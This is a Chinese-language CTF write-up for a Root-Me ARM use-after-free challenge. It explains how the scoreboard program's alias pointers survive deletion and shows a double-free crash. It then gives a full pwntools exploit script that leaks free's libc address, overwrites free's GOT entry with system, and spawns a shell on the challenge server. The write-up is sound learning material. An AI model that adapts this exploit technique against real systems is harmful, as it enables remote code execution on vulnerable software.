Rootme CTF UAF Writeup

0x01 题目简介

这是Rootme.org上一道有关ARM ELF UAF的题目——The best things in life are free()。此题主要考查ARM下UAF漏洞的利用,通过UAF漏洞进行信息泄露进而改写GOT表获得执行任意代码。

0x02 题目分析

UAF漏洞

运行题目如下:

 $ ./ch47Root-Me CTF Scoreboard v2.0A tool to manage scoring for CTF'sEnter a Command:add [alias]edit [alias]del [alias]show [alias]score [alias]leadertotalsexport json|csvhelpquit:


一个简单的CTF分数管理程序,可以通过add、edit、del、show、score等命令,对队伍进行添加、编辑、删除、打印、得分。

值得注意的是,每个队伍具有别名(alias),除了根据编号(index)来对队伍进行操作外,还可以根据别名进行操作,漏洞就在程序对alias的处理上。比如add 一个team,其别名为xx,index为0, 则后续我们除了通过index 0对这个team进行操作外,还可以通过edit xx,del xx, show xx等进行操作。当我们通过index 0 del这个team以后,我们没法再次通过index edit和del了,但是我们却可以通过edit xx和del xx继续操作,这就是所谓的UAF漏洞,del以后产生的野指针我们可以继续引用它进行危险操作!

如果再次del xx, 就会对野指针再free一次,程序触发double free出错, 这证明了漏洞的存在。

 $ ./ch47Root-Me CTF Scoreboard v2.0A tool to manage scoring for CTF'sEnter a Command:add [alias]edit [alias]del [alias]show [alias]score [alias]leadertotalsexport json|csvhelpquit: add xxTeam: MS509Desc: AAAAAAAAAAAAASuccess: team added (index: 0; name: MS509; alias: xx)Enter a Command:add [alias]edit [alias]del [alias]show [alias]score [alias]leadertotalsexport json|csvhelpquit: delIndex: 0Success: deleted MS509Enter a Command:add [alias]edit [alias]del [alias]show [alias]score [alias]leadertotalsexport json|csvhelpquit: del xxSuccess: deleted MS509*** Error in `./ch47': double free or corruption (fasttop): 0x01979008 ***Aborted


控制野指针的内容

调试过程中对team的内容进行跟踪,大致还原了其数据结构如图

Team StructureTeam Structure

在add的时候,team的内容存储在固定60字节的堆中,其中最后四个字节为指向team description的堆上分配的指针, 而descrption的内容紧随其后存储在根据description长度动态分配的地址上。

addadd

在del的时候,team及description会先后free掉,因此这里有两个野指针。
对于team而言,长度固定为60字节,可以编辑index、score和name(都有限制);对于description而言,长度可控、内容可控。因此,description是作为操纵野指针的更好选择。

另外,在edit的时候,我们还有一次机会malloc新的description,只要新的description长度更长即可。

editedit

这样我们free掉一个team后,如果malloc的description的长度恰好是60字节(使用edit,而非使用add,因为add会依次malloc新的team和description),则会占据原先free掉的team的位置。由于alias的存在,还可以通过show、edit等命令对free掉的team进行操作。

使用show命令,可以打印最后四字节指针指向内存(本该为description)的内容,任意地址读。
使用edit命令,可以修改最后四字节指针指向内存(本该为description)的内容,任意地址写。

而程序的GOT表部分可写,因此可以考虑通过任意地址读泄露某个libc函数地址进而获得system函数地址,然后将某一个GOT表项修改为system函数地址,最后触发system("/bin/sh")

0x03 漏洞利用

结合题目之意,修改free_got最为方便,并将函数参数布置在某个team的description中即可

具体漏洞步骤如下:

1、建立3个team, MS509(别名为xx)/MS508/MS507,前面两个description的长度要比60字节小很多,设置”/bin/sh”为MS507的description

2、del MS509, 并edit MS508的description为60字节,最后四字节为free_got。

3、通过show xx打印MS509这个team,打印出来的description前四字节内容即为free函数的地址。

4、计算system函数地址,再通过edit xx编辑MS509team,description填入system函数地址,使free_got指向system

5、del MS507触发free,实际调用system("/bin/sh")

利用代码和注释如下:

from pwn import *menu_end = "quit\n\n: "#context.log_level = 'debug'def add(p, team, desc, alias=""): p.sendline("add " + alias) print p.recvuntil("Team: ") p.sendline(team) print p.recvuntil("Desc: ") p.sendline(desc)def show(p, index, alias=""): p.sendline("show " + alias) if (alias == ""): print p.recvuntil("Index: " ) p.sendline(index)def delete(p, index, alias=""): p.sendline("del " + alias) if (alias == ""): print p.recvuntil("Index: " ) p.sendline(index)def edit(p, index,team, desc, points, alias=""): p.sendline("edit " + alias) if (alias == ""): print p.recvuntil("Index: " ) p.sendline(index) print p.recvuntil("Team: Team: ") p.sendline(team) print p.recvuntil("Desc: ") p.sendline(desc) print p.recvuntil("Points: ") p.sendline(points) else: print p.recvuntil("Team: " ) p.sendline(team) print p.recvuntil("Desc: " ) p.sendline(desc) print p.recvuntil("Points: " ) p.sendline(points) def export(p): p.sendline("export json")def main(): #p = process("./ch47") p = remote("challenge04.root-me.org", 61047) print p.recvuntil(menu_end)#1. add 3 teams add(p,"MS509", "AAAAAAAAAAAAAAAA", "xx") print p.recvuntil(menu_end) add(p,"MS508", "B", "yy") print p.recvuntil(menu_end) #notice, the description is /bin/sh which will be free'd later since we modify element of free_got into system add(p,"MS507", "/bin/sh", "zz") print p.recvuntil(menu_end)# print "[+] Waiting for debugging.."# raw_input()#2. del team 0 to get a dangling pointer which will be referenced by alias later delete(p, "0") print p.recvuntil(menu_end)#3. edit team 1, update the description pointer of malloc in the place of team 0 got_free = int("0x23014", 16) #no PIE, it's fixed payload = "C"*56 + p32(got_free) #must be 60bytes to be allocated in the free'd team 0, there is a '\00' in the end edit(p, "1", "MS508", payload, "50") print p.recvuntil(menu_end)#4. show the deleted team 0 by alias to leak the free address, Print After Free show(p,"unused", "xx") print p.recvuntil("Desc: ") #Notice , there are two spaces after Desc: addr_free_str = p.recv(4) # log.debug("free address is %s" % addr_free_str.encode("hex")) addr_free = u32(addr_free_str) log.debug("free address is %s" % hex(addr_free)) print p.recvuntil(menu_end) #5. using the leaked address to get system address libc = ELF("./libc.remote") #libc = ELF("./libc.so.6") addr_system = addr_free - (libc.symbols['free'] - libc.symbols['system']) addr_fgets = addr_free - (libc.symbols['free'] - libc.symbols['fgets']) addr_memcpy = addr_free - (libc.symbols['free'] - libc.symbols['memcpy']) log.debug("system address is %s" % hex(addr_system)) log.debug("fgets address is %s" % hex(addr_fgets))#6. edit team0 to make got_free point to system addr, NOTE: let other funciton used later alone edit(p, "not_used", "MS509", p32(addr_system)+p32(addr_fgets)+p32(addr_memcpy),"100", "xx") print p.recvuntil(menu_end) #7. del team2 to trigger free which actually is system("/bin/sh") export(p) delete(p, "2") p.interactive()if __name__ == "__main__": main()


0x03 收获

  • 程序流程不清楚时,可以通过测试和调试观察重要的数据结构,比如team,来辅助分析程序流程。进而再通过IDA进行静态分析,逐步理清程序
  • 善于使用调试,在exp编写前期,用gdb动态调试验证思路,在exp运行时查找问题非常重要。
  • pwntools使用非常方便,一定要掌握好这个工具
发表评论 / Comment

用心评论~